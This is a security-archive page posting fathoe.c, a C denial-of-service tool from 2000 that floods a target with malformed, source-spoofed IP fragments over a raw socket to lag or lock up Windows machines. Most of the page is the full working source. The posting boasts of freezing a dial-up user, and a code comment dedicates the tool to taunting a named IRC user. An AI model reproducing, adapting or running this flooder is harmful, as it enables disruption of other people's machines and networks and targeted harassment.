what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

fathoe.c

fathoe.c
Posted Aug 9, 2000
Authored by Nijen Rode

fathoe.c is a fragment flooder which will lag and/or lock up windows machines on your local network.

Changes: This version works remotely, and uses so little bandwidth that I was able to freeze someone on a 56k with it.
tags | denial of service, local
systems | windows
SHA-256 | 5a8c4166ed3499a46261bcf0e4d74b05d50c8eaa9c097104e432a5c95e6c96c2

fathoe.c

Change Mirror Download
char about[] = "fathoe.c by Sorcerer of DALnet";

/*

I've been told that some of my previous script comments about malkman
(of DALnet) weren't very nice, so, being the kind person that I am, I
decided to make this script in commemoration of malk and his mom.

*/

#include <stdio.h>
#include <netinet/ip.h>
#include <stdlib.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <signal.h>

#define DELAY 10000 /* a nice blatantly arbitrary value */
#define PROTO 1 /* I haven't had much luck with others */
#define IP_CE 0x8000 /* Flag: "Congestion" */
#define IP_DF 0x4000 /* Flag: "Don't Fragment" */
#define IP_MF 0x2000 /* Flag: "More Fragments" */
#define IP_OFFSET 0x1FFF /* "Fragment Offset" part */


struct frag {
struct iphdr ip;
unsigned char data[2];
};

int starttime,packets=0,bytes=0;

void sig_proc(int signum) {
printf("time:%ds packets:%d bytes:%d\n",time(NULL)-starttime,
packets,bytes);
exit(1);
}

main(int argc,char *argv[]) {
struct frag buf;
int sock = socket(PF_INET,SOCK_RAW,PROTO),one=1;
struct sockaddr_in targ;
unsigned char typ=0,len;

if((sock==-1) ||
(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one)))
) {
fprintf(stderr,"failed to create raw socket\n");
exit(1);
}

if(argc<2) {
fprintf(stderr,"use: %s <target>\n",argv[0]);
exit(2);
}

printf("%s\n",about);

targ.sin_addr.s_addr = inet_addr(argv[1]);
targ.sin_port = 0;
targ.sin_family = AF_INET;

bzero(&buf,sizeof(buf));

buf.ip.version = 4;
buf.ip.ihl = 5;
buf.ip.tos = 0;
buf.ip.protocol = PROTO;
buf.ip.check = 0;
buf.ip.daddr = targ.sin_addr.s_addr;

starttime = time(NULL);
srandom(starttime);
signal(SIGHUP,&sig_proc);
signal(SIGINT,&sig_proc);
signal(SIGQUIT,&sig_proc);
signal(SIGILL,&sig_proc);
signal(SIGABRT,&sig_proc);
signal(SIGFPE,&sig_proc);
// signal(SIGKILL,&sig_proc);
signal(SIGSEGV,&sig_proc);
signal(SIGPIPE,&sig_proc);
signal(SIGALRM,&sig_proc);
signal(SIGTERM,&sig_proc);
signal(SIGUSR1,&sig_proc);
signal(SIGUSR2,&sig_proc);
signal(SIGCHLD,&sig_proc);
signal(SIGCONT,&sig_proc);
// signal(SIGSTOP,&sig_proc);
signal(SIGTSTP,&sig_proc);
signal(SIGTTIN,&sig_proc);
signal(SIGTTOU,&sig_proc);

while(1) {
if(typ) {
buf.ip.frag_off |= htons(127);
buf.ip.tot_len = sizeof(buf);
len += 1;
} else {
buf.ip.ttl = 255 - (random() % 20);
buf.ip.id = random();
buf.ip.saddr = random();
buf.ip.frag_off = htons(IP_MF | IP_DF | 1);
buf.ip.tot_len = 0;
len = sizeof(struct iphdr) + 1;
}

typ^=1;

bytes+=len;
packets++;

#ifdef DELAY
if(!(packets & 7)) usleep(DELAY);
#endif

if(sendto(sock,&buf,len,0,&targ,sizeof(targ))==-1) {
fprintf(stderr,"failed to transmit packet\n");
exit(3);
}
}
}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close